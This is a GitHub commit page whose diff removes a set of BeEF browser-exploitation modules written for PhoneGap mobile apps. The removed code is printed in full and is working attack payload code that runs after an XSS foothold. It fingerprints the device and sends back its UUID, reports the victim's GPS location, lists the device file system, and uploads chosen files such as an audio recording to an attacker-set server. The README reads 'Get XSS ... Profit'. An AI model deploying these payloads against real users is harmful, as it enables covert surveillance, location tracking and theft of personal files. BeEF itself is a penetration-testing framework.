Permalink
Browse files

changed name of phonegap modules dir back to original

  • Loading branch information...
1 parent d2b6973 commit 6a573227455d0abebfaab44a14c7419239351f51 @mike-at-aura mike-at-aura committed Dec 21, 2011
View
@@ -1,6 +0,0 @@
-== BeEF Modules for PhoneGap applications ==
-
-1. Get XSS
-2. Install BeEF from beefproject
-3. Copy this directoy into module directory
-4. Profit
@@ -1,7 +0,0 @@
-//
-// make the phone beep
-//
-beef.execute(function() {
- navigator.notification.beep(1);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'Beeped');
-});
@@ -1,12 +0,0 @@
-# phonegap
-#
-beef:
- module:
- Beep:
- enable: true
- category: "Phonegap"
- name: "Beep"
- description: "Make the phone beep"
- authors: ["mh"]
- target:
- working: ["All"]
@@ -1,12 +0,0 @@
-# phonegap
-#
-
-class Beep < BeEF::Core::Command
-
- def post_execute
- content = {}
- content['result'] = @datastore['result']
- save content
- end
-
-end
@@ -1,12 +0,0 @@
-//
-// exploit phonegap
-//
-beef.execute(function() {
-
- beef.net.send("<%= @command_url %>", <%= @command_id %>,
- 'phonegap_version='+" name: " + device.name
- + " phonegap api: " + device.phonegap
- + " platform: " + device.platform
- + " uuid: " + device.uuid
- + " version: " + device.version);
-});
@@ -1,12 +0,0 @@
-# phonegap
-#
-beef:
- module:
- Detect:
- enable: true
- category: "Phonegap"
- name: "Detect phonegap"
- description: "Detects if phonegap api is present"
- authors: ["mh"]
- target:
- working: ["All"]
@@ -1,12 +0,0 @@
-# phonegap
-#
-
-class Detect < BeEF::Core::Command
-
- def post_execute
- content = {}
- content['phonegap_version'] = @datastore['phonegap_version']
- save content
- end
-
-end
@@ -1,44 +0,0 @@
-//
-// phonegap_upload
-//
-beef.execute(function() {
- var result = 'unchanged';
-
- // TODO return result to beef
- function win(r) {
- //alert(r.response);
- result = 'success';
- }
-
- // TODO return result to beef
- function fail(error) {
- //alert('error! errocode =' + error.code);
- result = 'fail';
- }
-
- // (ab)use phonegap api to upload file
- function beef_upload(file_path, upload_url) {
-
- var options = new FileUploadOptions();
- options.fileKey="content";
-
- // grab filename from the filepath
- re = new RegExp("([^/]*)$");
- options.fileName = file_path.match(re)[0];
- //options.fileName="myrecording.wav";// TODO grab from filepath
-
- // needed?
- var params = new Object();
- params.value1 = "test";
- params.value2 = "param";
- options.params = params;
- // needed?
-
- var ft = new FileTransfer();
- ft.upload(file_path, upload_url, win, fail, options);
- }
-
- beef_upload('<%== @file_upload_src %>', '<%== @file_upload_dst %>');
-
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); // move this to inside beef_upload
-});
@@ -1,12 +0,0 @@
-# phonegap
-#
-beef:
- module:
- File_upload:
- enable: true
- category: "Phonegap"
- name: "Upload file"
- description: "Upload files from device to server of your choice"
- authors: ["mh"]
- target:
- working: ["All"]
@@ -1,28 +0,0 @@
-# phonegap
-#
-
-class File_upload < BeEF::Core::Command
-
- def self.options
- return [{
- 'name' => 'file_upload_dst',
- 'description' => 'Upload a file from device to your server',
- 'ui_label'=>'detination',
- 'value' => 'http://192.168.9.130/recv-unauth.php',
- 'width' => '300px'
- },{
- 'name' => 'file_upload_src',
- 'description' => 'path to file on device',
- 'ui_label'=>'file path',
- 'value' => '/sdcard/myrecording.wav',
- 'width' => '300px'
- }]
- end
-
- def callback
- content = {}
- content['Result'] = @datastore['result']
- save content
-
- end
-end
@@ -1,30 +0,0 @@
-//
-// geo locate
-//
-beef.execute(function() {
- var onSuccess = function(position) {
- result =
- 'Latitude: ' + position.coords.latitude + '\n' +
- 'Longitude: ' + position.coords.longitude + '\n' +
- 'Altitude: ' + position.coords.altitude + '\n' +
- 'Accuracy: ' + position.coords.accuracy + '\n' +
- 'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' +
- 'Heading: ' + position.coords.heading + '\n' +
- 'Speed: ' + position.coords.speed + '\n' +
- 'Timestamp: ' + new Date(position.timestamp) + '\n' ;
-
- map = 'Map url: http://maps.google.com/?ll='+
- position.coords.latitude + ',' + position.coords.longitude;
-
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result+map );
- };
-
- // onError Callback receives a PositionError object
- //
- function onError(error) {
- console.log('code: ' + error.code + '\n' +
- 'message: ' + error.message + '\n');
- }
-
- navigator.geolocation.getCurrentPosition(onSuccess, onError);
-});
@@ -1,12 +0,0 @@
-# phonegap
-#
-beef:
- module:
- Geo_locate:
- enable: true
- category: "Phonegap"
- name: "Geo locate"
- description: "Geo locate your victim"
- authors: ["mh"]
- target:
- working: ["All"]
@@ -1,12 +0,0 @@
-# phonegap
-#
-
-class Geo_locate < BeEF::Core::Command
-
- def post_execute
- content = {}
- content['result'] = @datastore['result']
- save content
- end
-
-end
@@ -1,36 +0,0 @@
-//
-// phonegap_upload
-//
-beef.execute(function() {
- var directory = "<%== @directory %>";
- var result = '';
-
- function fail() {
- result = 'fail';
-
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
- }
-
- function success(entries) {
- var i;
- for (i=0; i<entries.length; i++) {
- result = result + '\n ' + entries[i].name;
- }
-
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
- }
-
- // use directoryentry to create directory reader
- function gotDirEntry(dirEntry) {
- var directoryReader = dirEntry.createReader();
- directoryReader.readEntries(success,fail);
- }
-
- // use getDirectoy to create reference to directoryentry
- function gotFS(fileSystem) {
- fileSystem.root.getDirectory(directory, null, gotDirEntry, fail);
- }
-
- window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
-
-});
@@ -1,12 +0,0 @@
-# phonegap
-#
-beef:
- module:
- List_files:
- enable: true
- category: "Phonegap"
- name: "List files"
- description: "Examine device file system"
- authors: ["mh"]
- target:
- working: ["All"]
@@ -1,22 +0,0 @@
-# phonegap
-#
-
-class List_files < BeEF::Core::Command
-
- def self.options
- return [{
- 'name' => 'directory',
- 'description' => 'List files in this directory',
- 'ui_label'=>'Directory',
- 'value' => '/',
- 'width' => '300px'
- }]
- end
-
- def callback
- content = {}
- content['Result'] = @datastore['result']
- save content
-
- end
-end
Oops, something went wrong.

0 comments on commit 6a57322

Please sign in to comment.